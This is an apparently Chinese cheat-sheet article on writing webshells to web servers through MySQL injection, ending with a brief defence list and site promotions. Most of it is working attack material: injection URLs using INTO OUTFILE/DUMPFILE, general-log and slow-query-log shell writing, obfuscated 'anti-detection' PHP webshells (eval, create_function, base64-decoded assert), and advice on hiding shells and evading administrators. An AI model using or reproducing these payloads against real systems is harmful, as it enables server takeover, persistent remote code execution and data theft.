MySQL写Shell方法总结

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: MySQL注入点,用工具对目标站点写入一句话shell,需要哪些前提条件?

image.png

MySQL注入点,用工具对目标站点写入一句话shell,需要哪些前提条件?


  • root权限以及网站的绝对路径


outfile 和 dumpfile 写Shell


利用条件

数据库当前用户为root权限

知道当前网站的绝对路径

PHP的GPC为OFF状态;(魔术引号,GET、POST、COOKIE)

写入的那个路径要有写入权限


过滤了单引号into outfile 还可以用吗


  • 不能,GPC要OFF才行,可以测试Hex编码


基于UNION联合查询


?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23

?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23


非联合查询


当我们无法使用联合查询时,我们可以使用 fields terminated by lines terminated by 来写Shell


?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23


代替空格的方法


"+" 号、%0a、%0b、%a0、//注释符等**


outfile 和 dumpfile 的区别

outfile

支持多行数据同时导出

使用union联合查询时,要保证两侧查询的列数相同

会在换行符制表符后面追加反斜杠

会在末尾追加换行


dumpfile

每次只能导出一行数据

不会在换行符制表符后面追加反斜杠

不会在末尾追加换行


因此,我们可以使用 into dumpfile 函数来顺利写入二进制文件;into outfile 函数也是可以写入二进制文件的,只不过无法生效(追加的反斜杠会使二进制文件无法生效)


如果服务器端本身的查询语句,结果有多行,但是又想使用dumpfile,应该手动添加 limit 限制


突破 secure_file_priv 写Shell


1、MySQL的secure_file_priv 参数是用来限制 LOAD DATA 、SELECT ....OUTFILE、and LOAD_FILE()传到哪个指定的目录的。

2、当secure_file_priv 的值没有具体值时,表示不对MySQL的导入|导出做出限制,如果是NULL,表示MySQL不允许导入导出。

3、而且在MySQL 5.6.34版本以后 secure_file_priv 的值默认为NULL,并且无法用SQL语句对其进行修改。


基于日志写Shell


1、show variables like '%general%'; --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)

2、set global general_log = on;  --开启日志监测,默认关闭(如果一直开文件会很大的)

3、set global general_log_file = '/var/www/html/info.php';  --设置日志路径

4、select '<?php phpinfo();?>';  --执行查询,写入shell

--结束后,恢复日志路径,关闭日志监测


SQL查询免杀shell


outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限


1、select "<?php $sl = create_function('', @$_REQUEST['klion']);$sl();?>";


2、SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";


慢查询写shell


为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错


1、show variables like '%slow_query_log%';  --查看慢查询信息

2、set global slow_query_log=1;    --启用慢查询日志(默认禁用)

3、set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php'; --修改4日志文件路径

4、select '<?php @eval($_POST[abc]);?>' or sleep(11);    --写shell


慢查询


1、因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。

2、一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。

如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中


show global variables like ‘%long_query_time%’ --查看服务器默认时间值


1、通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉

2、拿到shell后上传一个新的shell,删掉原来shell,新shell做隐藏,这样shell可能还能活的时间长些

3、像这种东西还是比较适合那些集成环境,比如,appserv,xampp...因为权限全部都映射到同一个系统用户上了,如果是win平台,权限通常都比较高


其它方法:通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,找上传点 GetShell


防御姿势


1、设置 secure_file_prive = null (不允许导入和导出)

2、防止暴露网站绝对路径

3、正确设置 web 目录权限,除 log、upload 等目录外不授予写权限,upload 目录不授予执行权限


参考文章:https://wiki.wgpsec.org/knowledge/web/mysql-write-shell.html

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
4月前
|
关系型数据库 MySQL 索引
MySQL的全文索引查询方法
【8月更文挑战第26天】MySQL的全文索引查询方法
53 0
|
2月前
|
存储 关系型数据库 MySQL
环比、环比增长率、同比、同比增长率 ,占比,Mysql 8.0 实例(最简单的方法之一)(sample database classicmodels _No.2 )
环比、环比增长率、同比、同比增长率 ,占比,Mysql 8.0 实例(最简单的方法之一)(sample database classicmodels _No.2 )
113 1
|
2月前
|
存储 关系型数据库 MySQL
提高MySQL查询性能的方法有很多
提高MySQL查询性能的方法有很多
166 7
|
4月前
|
存储 关系型数据库 MySQL
mysql数据库查询时用到的分页方法有哪些
【8月更文挑战第16天】在MySQL中,实现分页的主要方法包括:1)使用`LIMIT`子句,简单直接但随页数增加性能下降;2)通过子查询优化`LIMIT`分页,提高大页码时的查询效率;3)利用存储过程封装分页逻辑,便于复用但需额外维护;4)借助MySQL变量实现,可能提供更好的性能但实现较复杂。这些方法各有优缺点,可根据实际需求选择适用方案。
392 2
|
1月前
|
Shell Linux 测试技术
6种方法打造出色的Shell脚本
6种方法打造出色的Shell脚本
53 2
6种方法打造出色的Shell脚本
|
28天前
|
关系型数据库 MySQL
Mysql 中日期比较大小的方法有哪些?
在 MySQL 中,可以通过多种方法比较日期的大小,包括使用比较运算符、NOW() 函数、DATEDIFF 函数和 DATE 函数。这些方法可以帮助你筛选出特定日期范围内的记录,确保日期格式一致以避免错误。
|
3月前
|
关系型数据库 MySQL 数据库
Python MySQL查询返回字典类型数据的方法
通过使用 `mysql-connector-python`库并选择 `MySQLCursorDict`作为游标类型,您可以轻松地将MySQL查询结果以字典类型返回。这种方式提高了代码的可读性,使得数据操作更加直观和方便。上述步骤和示例代码展示了如何实现这一功能,希望对您的项目开发有所帮助。
147 4
|
3月前
|
SQL 关系型数据库 MySQL
创建包含MySQL和SQLServer数据库所有字段类型的表的方法
创建一个既包含MySQL又包含SQL Server所有字段类型的表是一个复杂的任务,需要仔细地比较和转换数据类型。通过上述方法,可以在两个数据库系统之间建立起相互兼容的数据结构,为数据迁移和同步提供便利。这一过程不仅要考虑数据类型的直接对应,还要注意特定数据类型在不同系统中的表现差异,确保数据的一致性和完整性。
36 4
|
3月前
|
关系型数据库 MySQL Unix
MySQL配置不区分大小写的方法
结论 通过适当配置 lower_case_table_names参数以及在数据定义和查询中选择合适的校对规则,可以灵活地控制MySQL中的大小写敏感性,以适应不同的应用场景和需求。这样的设置既可以增加数据库的兼容性,又可以在必要时利用大小写敏感性进行精确的数据处理。需要注意的是,修改 lower_case_table_names参数后,最好在数据库初始化时进行,以避免现有表名的大小写问题。
334 3
|
3月前
|
存储 关系型数据库 MySQL
技术解析:MySQL中取最新一条重复数据的方法
以上提供的两种方法都可以有效地从MySQL数据库中提取每个类别最新的重复数据。选择哪种方法取决于具体的使用场景和MySQL版本。子查询加分组的方法兼容性更好,适用于所有版本的MySQL;而窗口函数方法代码更简洁,执行效率可能更高,但需要MySQL 8.0及以上版本。在实际应用中,应根据数据量大小、查询性能需求以及MySQL版本等因素综合考虑,选择最合适的实现方案。
394 6